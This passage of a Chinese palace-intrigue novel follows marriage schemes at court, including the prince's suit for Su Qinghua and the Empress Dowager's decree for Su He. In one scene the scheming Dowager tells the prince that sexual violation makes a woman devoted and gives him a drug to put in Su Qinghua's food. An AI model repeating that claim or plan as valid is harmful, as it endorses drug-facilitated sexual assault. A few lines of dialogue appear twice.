他朝着苏清华行了一礼,便开口道:“清华公主,我刚从宫里出来,主子让我给你传一个紧急消息。” 语毕,他眼神不由朝着秦静姝看去。 “秦姐姐不是外人,你有话直说便是。”苏清华开口。 碧山闻言,不再犹豫,说:“今日大皇子进宫,忽然跪倒在长庆殿门口,他竟开口求赵阳帝给他赐婚!” “什么?”苏清华一脸震惊。 难道她做了这么多,还是不能改变秦静姝的命运? 见苏清华反应如此之大,殿内其他人也不由一惊。 “妹妹别急,当日赵阳跟天韶和谈之时,说的明确,你的婚事必须经过天韶同意,就算大皇子想做什么,想也是不能。”秦静姝温柔的话语,让苏清华恍然大悟。 碧山刚才并未言明,大皇子求娶的是谁,她先入为主,竟以为又是求娶秦姐姐,这一世大皇子跟秦静姝毫无瓜葛,又怎会忽然求娶?况且碧山即来告知她,必是与她有关。 “大皇子忽然求娶清华公主,便是主子也没想到,他担心您对此事毫不知情,以后会陷入被动,便让我通知您一声。” “好,我知道了,替我多谢你家主子,你快回去吧。” 苏清华待听明白了,大皇子求娶的人不是秦静姝,反而是她自己,顿时宽心不少。 她的婚事,便是赵阳帝也无权插手! 碧山离开之后,秦静姝轻轻拉住苏清华的手,说:“妹妹,此事他们若是来明的,你便直接拒绝便是,只怕他有这个心,再想什么阴招,所以妹妹最近还是小心为妙。” 苏清华看着秦静姝,见她脸上全是替她着急之色,她心里不由一暖,说:“姐姐别担心,只要他求娶的不是你,管他明的阴的,我都不会让他得逞。” 秦静姝脸上一惊,想起初次见苏清华之时,若是那时没有她的帮助,很可能大皇子现在求娶的便是她了。 想到这,她对苏清华的感激更甚,开口说道:“我还是那句话,能用的到我的地方,务必开口。” “我知道,我们姐妹之间,这必是不用说的。” 此时的万庆殿,赵阳帝看着跪在下方的大皇子,脸色晦暗莫测。 “你为什么要求娶清华公主?” 第八十九章 舐犊之情 大皇子抬起头,说:“儿臣第一次见她,便被她深深吸引,后来太极殿上,我不知为何,竟会对她出手,大理寺反思数月,我终于明白了缘故!” 他右手握拳,语气坚定:“我之所以这么做,完全是因为太喜欢她,甚至不想让别人看见她的美好,所以才会一时忘情,出手阻止她表演剑法。” 大皇子并非傻人,即敢求到父皇脚下,早就想好了对策。 此话非但不会让父皇怀疑,甚至可以为当时的举动,做出合理的解释。 赵阳帝紧紧盯着大皇子,转动玉珠的右手不由加快,过了良久,才慢慢开口:“若是你真娶了她,那她手中的城池, 你会如何处理?” 大皇子将头磕到冰凉的大理石上,一脸虔诚,说:“若儿臣得偿所愿,必会想办法劝清华公主,将所有城池全部交回父皇手上。” 赵阳帝闻言,嘴角不由带了笑意,声音也温和了许多,说:“亥儿,你本是个孝顺的好孩子,只是性格稍微急躁了点,不过这也不全怪你自己,你生母早早离世,我当时若能多抽出点时间陪伴你,你也不会如此......” 大皇子立刻打断赵阳帝:“父皇,你身负社稷,国事繁忙,是我自己不争气,让父皇在天韶太子面前丢脸,从今往后,我必修心养性,克制自我,不再让父皇操心。” “好。”赵阳帝开怀大笑:“亥儿,大理寺反思数日,你竟成长不少,如此我便放心了,只是这赐婚之事......” 赵阳帝紧皱眉头,唏嘘叹气道:“你若求娶的是别人,无论是谁,我今日必会答应。你从未求过父皇什么,如今第一次开口,求娶心爱的女子,我又怎么忍心拒绝?可你有所不知,苏清华的婚事,我做不了主。” 大皇子一脸疑惑,他刚从大理寺出来,对与天韶和谈的后续结果,并不十分清楚。 江全见状,急忙跟他解释了原因。大皇子听罢,失望的低下了头。 赵阳帝见状,心生不忍,放缓语气,说:“此事也不是绝无可能,若是苏清华心甘情愿嫁给你,她主动向天韶请求,想是天韶也不会拒绝。至于如何让清华公主同意,便要看你的本事了!” 赵阳帝心中暗忖:若是天韶乖乖答应,那六座城池便手到擒来,毕竟在家从父,出嫁从夫。若是天韶不答应,那苏清华必定与天韶离心,此事对赵阳百利而无一害。 想到这里,赵阳帝心情更好,看大皇子的眼神满是赞许,多了很多舐犊之情。 大皇子鲜少得到赵阳帝认可,此时感受着赵阳帝的慈爱,他更加坚定,势必要娶苏清华为妻。 宋墨渊坐在屏风之后,脸上的表情却越来越僵,眼神也越来越冷。 大皇子退下之后,他缓步来到前殿,赵阳帝看他一眼,问:“此事你怎么看?” “男婚女嫁,讲究你情我愿,若是强行凑在一起,只怕反而会给两国带来纷争。”宋墨渊明白赵阳帝所想,故意提及两国纷争,想提醒他冷静。 万一大皇子求胜心切,再干出任何蠢事...... 赵阳帝对这回答并不满意,不过对方是宋墨渊,他也未生气,只避开这个话题,说:“过几日便是立春,届时我们前去西山围场,进行春猎活动,这是我们赵阳传统,为了便是培养赵阳子弟的血性,到时你邀请清华公主一起参加。” 宋墨渊微微点头。 他心中明了,赵阳帝并没有将他的话听进去,可对于赵阳帝,他也无可奈何,赵阳帝虽偏爱他,但他毕竟是一国之主,即认定的事,万不可能被人改变。 于是,出了万庆殿,他便给苏清华传递了消息。 万寿宫内。 周太后手拿佛珠,轻轻转动,迷离的眼睛里,射出一股精光:“大皇子果然进宫求娶苏清华了” 王嬷嬷躬身道:“那是当然,太后娘娘帮他求情,他方才能出了宗人府,他不敢不听您吩咐。” “嗯,王嬷嬷,你立刻将大皇子召过来,便说许久未见,我甚是想念他。” 王嬷嬷领命而去,不到一盏茶的功夫,便带着大皇子返了回来。 大皇子抬起头,看了一眼太后,快步上前,跪倒在她脚下,开口道:“孙儿不孝,给皇祖母请安,多谢皇祖母挂念之情。” “乖孙儿,快起来。”周太后亲手扶起大皇子,拉着他在旁边椅子坐下,说:“我是你祖母,我不挂念你,谁挂念你?” 大皇子闻言内心不由一暖,开口道:“孙儿不孝,给皇祖母请安,多谢皇祖母为我求情,让我早日回家。” “乖孙儿,快起来。”周太后亲手扶起大皇子,拉着他在旁边椅子坐下,盯着看了半天说:“亥儿,你都瘦了,祖母听说你被圈禁了,心疼的很,你说我走的时候还好好的,回来之后怎么就被罚了?” “孙儿不孝,惹出了大祸,孙儿以后必定悔过自新。” “胡说,什么叫惹出大祸?悔过自新?你本就没有错,又何必悔过?”周太后用手指,轻轻的敲击着檀木桌子,说道:“你年纪也不小了,情窦初开,有了喜欢的女子,却不知道如何正确表达,再正常不过,怎么就需要悔过了?” 大皇子闻言,内心一热,他当日被罚,自己一直稀里糊涂,他虽对苏清华有几分兴趣,可也不至于,当着这么多人面失控! 父皇不问青红皂白,便将他问罪,他开口喊冤,也是无用。 如今竟有人开口为他辩解,他如何能不心热? 他从宗人府出来,便听说是太后求情,后来太后暗中给他消息,让他求娶苏清华。 他本想着自己若是没用,太后又怎会救他?即受了人恩惠,回报一二也是应该,可如今见了太后,他却不这么想了,也许太后真是为他好呢? 毕竟求娶苏清华,他也没失去什么,甚至还得到了父皇的赞赏。 “你可真心愿意娶那清华公主?若是不愿,我也不逼你,你若是有别的喜欢的女子,我也可为你赐婚。”太后脸上尽是慈爱之色。 第九十章 赐婚懿旨 “我愿意,那清华公主很好,我心里喜欢的紧。” 一个即符合他喜好,又能带给他好处的女子,他又怎能不喜欢? 太后闻言,满意的点点头,话锋一转,问道:“你即喜欢人家,那人家可也喜欢你?” 大皇子惭愧的摇摇头。 在宗人府的日子,他日日思索那几日的事,他也因此确认了一件事,无论是在苏家丢人,还是后来在无极殿犯错,这一切都与苏清华有关。 再回忆起,第一次与苏清华见面,无论是栀子花的刺绣,亦或是栀子花的香气,无疑是专门为他而设! 所以这一切都是苏清华的计谋。 至于苏清华谋害他的原因,他却如何也猜不出,因为在这之前,他跟她从未有过接触,更无任何冲突。 还有苏清华为何会知道他的喜好? 这又是另一个巨大的疑问,他冥思苦想数月,还是没有任何线索,他唯一确定的便是,苏清华不止不喜欢他,甚至还十分讨厌他! 可这并不影响他想娶苏清华的心,苏清华身上的谜题越多,他越是被苏清华吸引,所以太后让他求娶苏清华,他求之不得! “那你可想过,如何让她改变心意爱上你?”周太后打断大皇子的思索,开口问道。 “我早就想好了,我准备打听好她的喜好,然后找机会慢慢接近她,对她嘘寒问暖,天长日久,她终究会被我打动,愿意嫁给我。” 周太后摇了摇头,叹息一声,说:“你最大的优势便是皇子身份,我见那苏清华孤傲的很,你虽贵为皇子,可她也成了公主,所以你在他面前无任何优势。至于你说的那些方法,她若是喜欢你,这些方法还可用,可她并不喜欢你,那这些方法,只会让她更加反感你。” “那我该怎么办?” “你可知道,让一个女子爱上一个男子最快的方式是什么?” 大皇子并不蠢笨,周太后话都说到这个份上,他又如何不懂她意思? 他当下便站起身,拱手一礼,虔诚的问:“孙儿求皇祖母指教!” 太后见大皇子开窍,嘴角不由弯曲,慢悠悠的说:“这事你向我请教,算是找对人了,这情爱之事,最忌讳的便是夜长梦多,要的便是快准狠!我问你,一个女子最注重的是什么?” 大皇子仍是不解的的摇摇头。 “女子最看重的,当然是贞洁,不管多么高傲的女子,若是失贞与一个男子,便会对这个男子死心塌地。” 大皇子闻言,猛地抬起头来,不可置信的看着太后。 “皇祖母,你的意思是?” 太后从旁边的抽屉,拿出一个布包,递到大皇子手上,说:“你只要找个机会,将此药加入她的饮食里,便可以心想事成......” 大皇子虽是惊愕,还是小心的将布包藏好,跪倒在地,说:“多谢皇祖母成全。” 周太后拍了拍大皇子肩膀,说:“皇祖母等着喝你喜酒。” 待大皇子退下之后,王嬷嬷小声问:“太后娘娘,苏清华看着精明的很,大皇子他能成功吗?” 周太后将佛珠收进怀里,轻哼一声,说:“他成不成功不重要,只要他能刺激到宋墨渊,让他暴露真情,玥儿从旁看着,必会回心转意,届时我再顺势让她当太子妃,我的目的便达成了,至于苏清华到底嫁给谁,跟我有什么关系?” 王嬷嬷小声道:“老奴斗胆,小小姐虽是才貌双全,可太子跟皇后暂且不说,只怕皇上那边,也不会轻易同意她做太子妃。” 周太后微微一笑,说:“此事我早有计划,率先让玥儿回心转意,只是我的第一步,我的第二步,便是让皇上不得不听我的,这件事也需要利用苏清华帮我达成。” “老奴愚昧,请太后赐教。” “我让你查,苏清华最在意之人,你可查清了?” “老奴已查的明明白白,在这赵阳城,清华公主只有两个亲近之人,一人便是如今的靖远伯,也就是她的大哥苏赫,另外一人,便是老秦相之孙女,秦静姝。” “老秦相?他是皇上恩师,皇上对他敬重的很,我就不考虑了,至于苏赫,倒是合适。若不是苏清华有合约在身,我无法给她赐婚,又何必如此麻烦?直接给她下一道赐婚懿旨,那宋墨渊必定会进宫求皇上撤回懿旨,到时即可以令玥儿死心,也可以趁机与皇上谈条件。 如今只能麻烦点,给那苏赫赐婚,苏清华救哥心切,必会入宫求见皇上,到时我们便可一箭双雕,即打压了她的嚣张气焰,又趁机与皇上谈条件。” “太后娘娘英明,老奴立刻去办。” 次日一早,苏府便接到一封赐婚懿旨。 这指婚的对象不是旁人,正是那日在皇后宴席上,被张玉鸢推搡而跌入苏清华怀中,致使苏清华顺势,将茶水泼洒在秦静姝身上的刘诗雨。 苏赫接到懿旨之后,没有丝毫耽搁,立刻便来到公主府。 “什么?” 哐当一声,茶杯应声落地。 两双眼睛错愕的看着秦静姝...... “不好意思...我刚才没拿住。”秦静姝脸色微红,开口解释。 苏清华手握成拳,重重的拍在桌子上,说:“这个老太婆,前几日她故意找事,我不跟她一般见识,她竟蹬鼻子上脸,乱点起鸳鸯谱来。” “妹妹别急,我来就是想告诉你,此事你不必插手,太后对我出手,必定也是为了对付你,你若贸然帮我,必会中了她的圈套。” 秦静姝一脸急色:“难道你真要娶那刘诗雨?” 苏赫正色道:“那刘诗雨的父亲刘林,正是张之熊的手下,此人贪生怕死,又最是擅长谄媚上司,在边境的时候,没少给我使绊子,我断不会娶他的女儿。” “那你准备怎么办?”秦静姝继续问。 “我会直接进宫,请求太后收回成命!”苏赫斩钉截铁。 “这哪里可行?太后即已下旨,又怎会轻易收回,你贸然进宫,若是太后说你违逆懿旨,定你个大不敬之罪,岂不是更糟?” 第九十一章 双喜临门 苏赫望了秦静姝一眼,眼神尽是感激之色,说:“多谢秦小姐关心,只是人生犹如一片孤舟,若是上面搭载的,不是你所喜欢之人,那漫长的航程便只剩孤寂,我宁愿在自由的时候翻船,也不愿苟且的与不喜之人为伍。” “可你有没有想过,那些爱你的人,只希望你好好的活着?” 秦静姝说完这句话,脸色不由微红,她急忙为自己掩饰,转身问苏清华:“妹妹,你快说,你是不是这样想?” 不待苏清华回答,苏赫急忙接口:“太后便是笃定这一点,才会想利用我,逼妹妹出手,我苏赫便是一死,也不会让她得逞!” “这怎么行?你学有一身本事,还未在战场施展报复,却死在这肮脏的筹谋中,岂不可惜?”秦静姝将手中绣帕搅成一团,正如她此刻焦躁的心,她转身向苏清华求助:“苏妹妹,你快劝劝他呀,千万别让他做傻事。” 苏清华脸色严肃,肯定的说:“大哥,秦姐姐说的有道理,此事我们还需从长计议,万不可贸然行事。” 秦静姝闻言,欣喜的看着苏清华:“妹妹,你一向聪慧多谋,是不是想到解决的办法了?” 苏清华却叹了口气,说:“此事来的突然,我一时也没想到好办法......” 秦静姝眼睛里失望之色明显,可她也知苏清华的为难之处,她思索良久,像是下定了某种决心,说:“我回去找祖父,他定会有办法。” 语毕,秦静姝便起身朝着大门走去,带着绿辰急匆匆的离开了。 直到秦静姝身影完全消失,苏赫仍是一脸愕然,问:“秦小姐这是怎么了?” “大哥,你难道没看出来?” “看出来什么?”苏赫不解。 苏清华嘴角含笑,说:“当然是看出来,她希望你好好活着!” 苏赫点点头,心中一片暖意,说:“秦小姐对我一个外人都如此热心,真是菩萨心肠!” “外人?对秦姐姐来说,你可不是外人!” “我与她非亲非故,想是秦小姐与你亲近,把我也当自己人了。” 苏清华无奈的摇摇头,说:“她对你如此关心,可不是因为我,你难道没听清,她刚刚说,什么样的人才希望你好好活着?” 苏赫仍是一头雾水,问:“什么样的人?” “哎...”苏清华再次摇了摇头,“我真是不明白,秦姐姐冰雪聪明,怎么就会喜欢上你这块木头?幸好你是我亲大哥,否则我定要劝秦姐姐三思......” “什么?妹妹的意思是,秦小姐她竟.....” 苏清华给苏赫一个肯定的眼神:“没错,大哥被赐婚,她比我这亲妹妹还着急,她喜欢你,喜欢的还不明显吗?” 苏赫闻言,脸色也不由红了。 “妹妹莫不是在说笑?秦姑娘温柔善良,善解人意,出身高贵,在我心中,犹如仙女一样高不可攀。而我性格木讷,像妹妹说的,是木头一个,甚至还是庶出,秦姑娘怎么会喜欢我?” “那这事你准备怎么办?”苏清华又问。 “我一个凡夫俗子,如何能亵渎秦小姐,况且我志在疆场,可能随时殒命,断不会耽误秦小姐一生。” “咯咯咯。”苏清华捂着嘴,笑出声来,说:“大哥,我问你赐婚之事怎么办?你怎么说起秦姐姐来了?” 苏赫闻言,脸瞬间红透,头也迅速低下,盯着地下的地砖,恨不得立刻找个缝隙钻进去,更不敢再看苏清华的眼神。 “好了,大哥,我不逗你了。”苏清华清了清嗓子,脸色也严肃了几分,说:“秦姐姐即已回家求助老秦相,我们便先按兵不动就是,老秦相是皇上恩师,想是能得几分薄面,此事若顺利解决,我们便也不必发愁了。” 苏赫脑袋仍是懵懵的,闻言只点点头道:“好。” 随后,他便重新低下头,手足无措的盯着自己脚尖。 他实在太震惊了,秦静姝那么美好的女子,怎么会喜欢上他呢? 记得小时候,祖父经常会带他去秦府,秦静姝那时也很聪慧,但却比现在活泼许多。 她喜欢爬树,却由于手上没有力气,总是爬不上。每当这时,他便会主动让她踩在他手上,然后把她托举上去。 每当这时,她都会很开心的大笑出声,然后蹲在树上摘果子。 还邀请他也上树吃果子,他见她满脸诚意,虽知在别人家,随便爬树很是失礼,可还是忍不住每次都答应,最后他们两个会在秦府的那颗杏树上呆大半个时辰。 那是他至今为止,最开心的一段时光,可后来祖父去世,他被迫远走边疆,便再也没机会跟秦静姝一起摘果子吃了。 可在边境无数个夜晚,他会经常回忆起这段美好的时光...... 苏清华见大哥陷入沉思,并没有打扰,只是静静地坐在一边陪伴。 感情之事最是复杂,需要两人心有灵犀,一起努力,她并不想过多参与。 太后下旨的意图明显,她反而要静观其变,不让太后如愿。 若是老秦相出手不成,她再另想办法也不迟。 秦府。 秦静姝回府之后,便直接来到祖父院子。 她不等管家通传,便直接走进祖父书房,满是焦急的开口叫到:“祖父......” 本正看书的老秦相,抬起头来,一脸吃惊:“姝儿,你怎么回来了?你不是说,要在华儿那多住几日吗?” 秦静姝快步走到祖父跟前,拉住他的衣袖,说:“祖父,我回来是因为有急事求您。” 老秦相闻言,立刻接口:“姝儿,什么事?只要你开口,便是想要天上的月亮,祖父拼出老命,也要尽力一试。” 自从小儿子夫妻去世,老秦相鲜少见秦静姝如此流露真情,开口求他,更是鲜有! 见祖父如此回答,秦静姝的焦急之情,稍有缓解,她调整了呼吸,慢慢开口:“祖父,刚刚我在苏妹妹处,苏大哥忽然来访,他说太后娘娘给他赐婚了...” 老秦相见她如此焦急,本以为是十万火急之事,待听到孙女的话,不由微愣:“苏赫年纪不小了,先是继承爵位,如今又被太后赐婚,即能成家也能立业,苏兄泉下有知,想是也十分欣慰,这是双喜临门的好事,你为何却如此着急?” 第九十二章 挟恩图报 秦静姝警惕的环顾一下四周,确认书房里只有她跟祖父二人,方才压低声音说道:“祖父有所不知,太后娘娘没安好心,赐婚给苏赫大哥的是刘林的女儿,先不说刘诗雨心思不纯,便是刘林也人品不堪,太后此举就是为了激怒清华妹妹,想让他出丑!” 老秦相沉吟片刻,道:“刘林此人,我也略知一二,确实人品一般,至于她的女儿,我倒是不甚了解,可歹竹也可能出好笋,关键这配不配的上,主要还是要看苏赫的想法......” 秦静姝见祖父竟有支持这赐婚的意思,内心更是焦急,不由摇晃起老秦相的胳膊,说:“哎呦祖父,若不是苏大哥已明确表明,他根本不想娶刘诗雨,我又如何会回来跟你说此事?” 老秦相紧皱眉头,仍是一脸不解,道:“即便他不愿意,此事又跟你有什么关系?你为何要如此着急?” 秦静姝闻言,心里十分纠结,她不知此事该如何跟祖父说,可若是不说...... 最终她咬了咬嘴唇,坚定道:“我不想苏大哥娶他不喜之人。他从苏爷爷那里学习了万千兵法,还未在战场之上发挥作用,难道要先用于内宅争斗?这样岂不是大材小用?” 老秦相对她了解甚深,此时若是还看不明白她的心思,也就白当这个祖父了! 他放下手头的书,整了整衣襟,严肃而认真的对卿静姝说道:“姝儿,你向来懂事,从来无需我操心,今日我却要告诉你一个道理,你与清华公主,无论如何亲近,我都不会阻止,甚至是大力支持。 你与苏赫小时候玩耍过一段时间,可如今都已年纪不小,男女有别的道理,不用我说,你也应该明白,苏赫的事,你定要保持好边界,不该插手的事,千万不要沾边。” 秦静姝被祖父看破心事,脸色微红,她沉思良久,最终还是忍不住开口:“祖父,我知道此事我的身份,根本没有资格插手,所以我才会求祖父帮他,毕竟他救过您的性命,若是你帮他向皇上求情,皇上定不会驳你面子。” “唉,姝儿呀,我是教了皇上几天,可恩威难测,皇上对我敬重那是皇恩浩荡,若是我挟恩图报,便是失宠而娇了。这苏赫与我无亲去故,我凭着什么去要求皇上忤逆太后?” 秦静姝闻言,羞愧的低下了头,说:“祖父,是我思未及深,便莽撞开口,差点害的祖父也跟着受牵连。” 老秦相见秦静姝如此,心中一阵不忍。 她自从父母去世,便一直敏感多思,行事更是谨慎小心,从不敢多行一步,就怕给他引来麻烦,甚至是自己受了众多委屈,也不会开口言明,如今终于鼓起勇气,将自己内心真情实感流露,这说明此事对她至关重要,他却又让她失望了... 翌日,长庆殿。 赵阳帝坐在龙椅之上,手执玉管笔,伏在金龙案桌上批改奏折。 江全小心翼翼的走到身边,低声提醒:“皇上,老秦相来了。” 赵阳帝闻言,立刻放下手中的笔,对着江全挥挥手,说:“快,快将恩师请进来赐座。” 江全不敢耽搁,立刻下去安排。 须臾间,老秦相便走入大殿,他立即恭敬的跪倒在地,嘴里喊道:“老臣给皇上请安,皇上万岁,万岁万万岁。” 赵阳帝走下龙椅,亲自将其扶起,搀扶到座位上坐下,说:“恩师,我早就说过多次,你无需对我行跪拜之礼,你怎又忘了?” 老秦相拱手道:“皇上隆恩,体恤老臣年迈,可老臣身为臣子,当做好万民表率,万不可乱了礼法。” 赵阳帝见他坚持,只能无奈的摇摇头,问:“恩师身体不适,一直在家休养,今日忽然进宫,可是有急事找朕?” 老秦相双手抱拳,对皇上说:“老臣今日进宫,却是有急事,不过这事不是公事,而是老臣有私事,想求皇上赐恩。” 见老秦相如此说,赵阳帝不由一愣,一脸好奇问:“哦?恩师竟也有求朕的时候,而且还是私事?你快快说来,只要我能办的,必会答应!” 语毕,赵阳帝一脸期待的看着老秦相。 老秦相面露感激之色,开口说:“皇上对老臣如此厚待,老臣实在是无语言表,只是老臣这请求实在是为难皇上。”他沉吟片刻,哀叹数声才继续开口:“老臣想求皇上帮我跟太后求个情,请太后收回给苏赫的赐婚懿旨。” 赵阳帝见他犹豫半天,最后竟说出这句话,内心的好奇更深:“这是为何?难道苏赫竟对这赐婚不满?莫非是嫌对方身份低微,配不上他如今靖远伯的身份?” 赵阳帝脸上隐隐藏着怒意,若此时不是老秦相开口,换成别人,他必会震怒! 太后亲自给苏赫下旨赐婚,这是皇家对臣子的恩赐,他竟敢不识好歹,开口拒绝,这才继承爵位几天,就忘了自己什么身份了? 老秦相见赵阳帝动怒,急忙开口:“请皇上听老奴解释,苏赫确实对刘家姑娘无意,不过不是嫌弃对方的身份,只是苏赫在边境曾与刘林有过接触,刘林与他性格不合,两人多有摩擦,苏赫与刘家实在是合不来呀。” 赵阳帝闻言微点点头,这刘林虽官职低微,他了解并不深,可他是张之熊的手下,怎么可能跟苏赫合得来? 太后这次赐婚,倒是别有深意呀! 可就算如此,太后代表的也是皇家,一个臣子如何敢置疑皇威? 赵阳帝脸色仍是深沉,眸色不悦道:“即便苏赫对这婚事不满意,为何不自己去求太后,却要让恩师进宫求朕,难道他想借机挑唆我们母子关系?” “皇上,苏赫跟老靖远侯一样,对整个赵阳都忠心耿耿,万万不可能生有不敬的心思,他本要自己进宫求太后的,只是中间出了点插曲,这才有了我进宫求您!” 赵阳帝怒眼一瞪,说:“什么插曲?可是那苏赫,仗着曾救过你,便想挟恩图报?” 第九十三章 死而后已 老秦相头摇的像波浪鼓一样,说:“皇上千万别误会,自从苏赫回京,我只见过他一次,便是那次他出手相助,自那以后,我们便再也没有见过面了,我即便是想当面道谢,都未找到机会,我今日来求助皇上,并不是因为他。” “那恩师为何会插手这事?难道是清华公主帮他开的口?” 老秦相仍是摇头,由于摇的频率太快,那白花花的胡子都搅在了一起。 赵阳帝见状,语气软了几分,开玩笑道:“恩师总不会是为了刘家才进宫的吧?难道你想让刘诗雨给您做孙媳妇?” 老秦相见皇上脸色缓和几分,紧张的心才稍微放松点,可他并不敢再隐瞒了,只好将实情托出。 “哎!”老秦相深深叹了口气,说:“皇上慧眼识珠,竟能猜到这里,只不过,我此番进宫,不是为了孙子,而是为了我那孙女。” 赵阳帝眉头微皱,不解其意。 “不瞒皇上,也不怕皇上笑话,我阻止这两个年轻人的姻缘,确实是看上了其中一个,不过看上的是苏赫这小子,我想让他当我孙女婿!” “恩师竟想让苏赫当孙女婿?那你怎么不早说?如今太后懿旨已下,我也不好再开口另行赐婚了呀!”赵阳帝脸上尽是无奈。 “皇上难处我如何不知,若不是不得已,我也不会厚着脸皮,来求皇上。” “恩师有何难处,不妨直说出来。”赵阳帝正色道。 “此事关系小姝声誉,还请皇上为老臣保密。” 赵阳帝对江全使了个眼色,江全便带着众人离去。 老秦相这才开口:“今日我本在家看书,可在清华公主那里玩耍的孙女忽然归家,她从小到大,第一次开口求我,竟是求我进宫阻止苏赫的婚事。我没有丝毫犹豫,立刻教育了她,男女授受不清,不让她多管此事,她听了之后,没有反驳,可看着她失望的样子,我于心不忍,这才进了宫。 她虽没有明说,可我看的出来,她是喜欢上了苏赫那小子。姝儿是我在这世上,最放心不下之人,她若是能得到一个好归宿,我死也安心了。” 老秦相说着说着,情到深处,两行清泪,沿着满是皱纹的脸颊流下。 “此事苏赫是何意?”赵阳帝问道。 “不蛮皇上,我进宫之事,并没有告诉姝儿,更没有询问过苏赫意思,此事毕竟关系到姝儿清誉,若是有幸让太后收回成命,我才敢暗中询问苏赫意见,若是皇上实在为难,我便会将此事烂在肚子里,也请皇上替我保密。” 赵阳帝点了点头,心中暗忖:那苏赫自从继承了伯府,没有丝毫张狂,反而更加沉稳,进宫当侍卫的时候,也是谨言慎行,确有老靖远侯之风。 他若是真有能力,让他取代张之熊也无不可,只是这样的话,他的妻子怎么选择也很重要,若是出身太低,怕是撑不起伯府,凡是驻守边境的将领,后院不稳是大忌,恐怕会家宅不合,没办法一心为国,若是那女子出身太好,只怕时间久了,苏赫便会难以掌控...... 老秦相的孙女秦静姝,倒是正合适苏赫,秦静姝有秦相亲自教导,各方面必不会有错,而且此时有秦相撑着,秦家看着还算显赫,若是他不在了,秦家也就没落了,苏赫也算是成了孤臣,没有家族依托... 思索良久,赵阳帝方才开口:“恩师对孙女的维护之心,我完全可以理解,此旨意若是我下的,我立刻便可撤回,可此事事关太后,便会麻烦几分。” 老秦相站起身,深深鞠了一躬,道:“皇上为难之处,老臣怎会不知?若不是姝儿从小父母双亡,我若是去了,她更是孤苦无依,此事便是皇上旨意,我也万万不敢开口。” 他叹了口气,继续说道:“不瞒皇上,老臣对这件事是有私心的,那苏赫人品贵重,如今又得皇上器重,将来必成大器,关键姝儿也对他有意,有他保护姝儿,我死而无憾。老靖远在世之时,我们也曾探讨过,要给两个孩子定亲,后来他意外惨死,此事不了了之,如今若真能成就两个孩子姻缘,我去了地下,见到老靖远侯,也可以叫他一声亲家了。” 赵阳帝听到老靖远侯四字,眼里也全是不舍之色。 “我这一生跌跌宕宕,起起伏伏,可总体也算顺遂,可仍是有两件遗憾之事。” 赵阳帝回忆起往事,内心不由动了真情,脸上也尽是哀思。 “这第一件事,便是老靖远侯之死。他为赵阳鞠躬尽瘁,立下汗马功劳,最后却死的如此凄苦,被自己亲儿所害,想想真是可悲,更可悲的是这么多年,却无人知晓真相,如今虽然真相大白,可苏家也几乎分崩离析,若不是苏赫得其亲传,勉强维持家计,只怕苏家便彻底完了......” “这第二件事,便是秦状元之死。想当初秦状元,惊才艳艳,连中三元,我心中很是高兴,想着恩师后继有人,赵阳也将来有望,只可惜天妒英才,秦状元竟早早殒命,幸好留下一女,又被恩师亲自教导,才没让秦状元后继无人......” 赵阳帝语气哀伤:“如今若是两人真能走到一起,也算天作之和,我若是百年之后,见到两位贤臣,也可以告慰一二。” 老秦相闻言,早已老泪纵横,他再次跪倒在地,口里说着:“皇上仁义爱国,必会万寿无疆。小儿虽是人生短暂,可他能得皇上挂念,也算不枉人生一趟,若是姝儿再得到好的姻缘,便算他前世修来的福分了。” 赵阳帝脸色严肃,语气坚定的说:“不管是老靖远侯,还是恩师,都对赵阳有巨大的功劳,我必不会让有功之臣遗憾,一会儿,我便亲自去长寿宫,尽力说服太后,成全秦苏两家,也算成全恩师跟老靖远侯。” 老秦相将头重重的磕到地上:“老臣叩谢隆恩,臣必当为赵阳鞠躬尽瘁,死而后已!” 第九十四章 先来后到 老秦相意愿达成,千恩万谢的出了宫。 回到家后,老秦相并没有将这个消息告诉秦静姝,他心里清楚的很,劝住皇上只是第一步,关键的一步还在太后那里。 太后为人,老秦相十分清楚,是个斤斤计较,不见兔子不撒鹰的主,此事她即做了,必有所图,若是这条件简单也就罢了,若是涉及皇上底线,只怕是难办了! 在没有得到确切回应之前,他并不打算告诉秦静姝,免得她希望越大,失望越大。 而另一边的赵阳帝,在老秦相走后,便将江全叫至身边,问:“太后回来之后,都在忙什么?” “回禀皇上,太后娘娘除了那次举办梅花宴,其他时候都是呆在宫里,与周小姐呆在一起。” “梅花宴上,她除了为大皇子求情,要求将他放出来,可还做了什么其他事?”赵阳帝又问。 “太后娘娘她好似对清华公主不喜,中间多次出言针对......”江全将头垂的很低,小声回复。 赵阳帝轻啜一口手中的茶水,静心思索了片刻,道:“去长寿宫。” 江全立刻朝着殿外喊道:“摆驾长寿宫...” 长庆殿离着长寿宫并不远,不到一盏茶的功夫,赵阳帝便到达长寿宫。 他迈步进去的时候,周太后恰巧正在用午膳。 “皇上,你今日怎么有空来了,可用过膳了?” “儿臣尚未用膳,闻着母后宫里的香味便来了。” 赵阳帝满面笑容,大步走到餐桌面前,后面伺候的宫人,立刻拿上碗筷。 坐在一旁的周玥急忙起身行礼,赵阳帝抬手示意她免了,口里说道:“就当是家宴,不必拘礼,我平日里少有空闲,幸好有你常常进宫陪伴母后,也减轻了我些许不孝的负罪感。” 周玥依旧行了一礼,回道:“皇上恩准我随意进宫,可以常常陪伴姑租母身边,便是对臣女最大的恩典,臣女怎敢居功?” 周太后也笑着说:“是呀,作为一国之主,必定是先国后家,皇上日理万机,让赵阳百姓安居乐业,老有所依,这便是对我最大的孝心!” “好,既是一家人,便不必说这些客套话了。”赵阳帝接过周玥手中的碗筷,说:“今日便有儿臣亲自为母后布菜。” “哈哈哈,好。” 太后虽口中如此说,可待赵阳帝夹了两筷子,她便让他坐下用膳,赵阳帝也没再勉强,坐在早就备好的座位上。 皇家讲究食不言寝不语,直到午膳用完,宫人将残羹撤下。 周太后方才开口问:“皇上除了用膳,可有其他事找哀家?” “儿臣确实有事求母后。” “皇上严重了,你我母子之间,有事尽管开口便是,何须用这个求字?” 赵阳帝叹气一声,说:“此事确实有点特殊,让我不知该如何开口,儿臣想求母后收回苏赫的赐婚懿旨。” 周太后闻言,脸色一沉,将手中的茶碗往桌上重重一放,说:“可是那苏赫不识好歹?他即对我的赐婚不满,为何不直接来求哀家,却跑到皇上那里告状,他这样做,岂不是想故意破坏我们母子情分?” 赵阳帝见周太后生气,急忙安抚:“母后息怒,此事并不是苏赫求的儿臣。” “难道是清华公主?她既是天韶的公主,又凭什么管我赵阳的事?” “母后误会了,此事是我的恩师,老秦相亲自所求,否则我也不会跟你开口。” 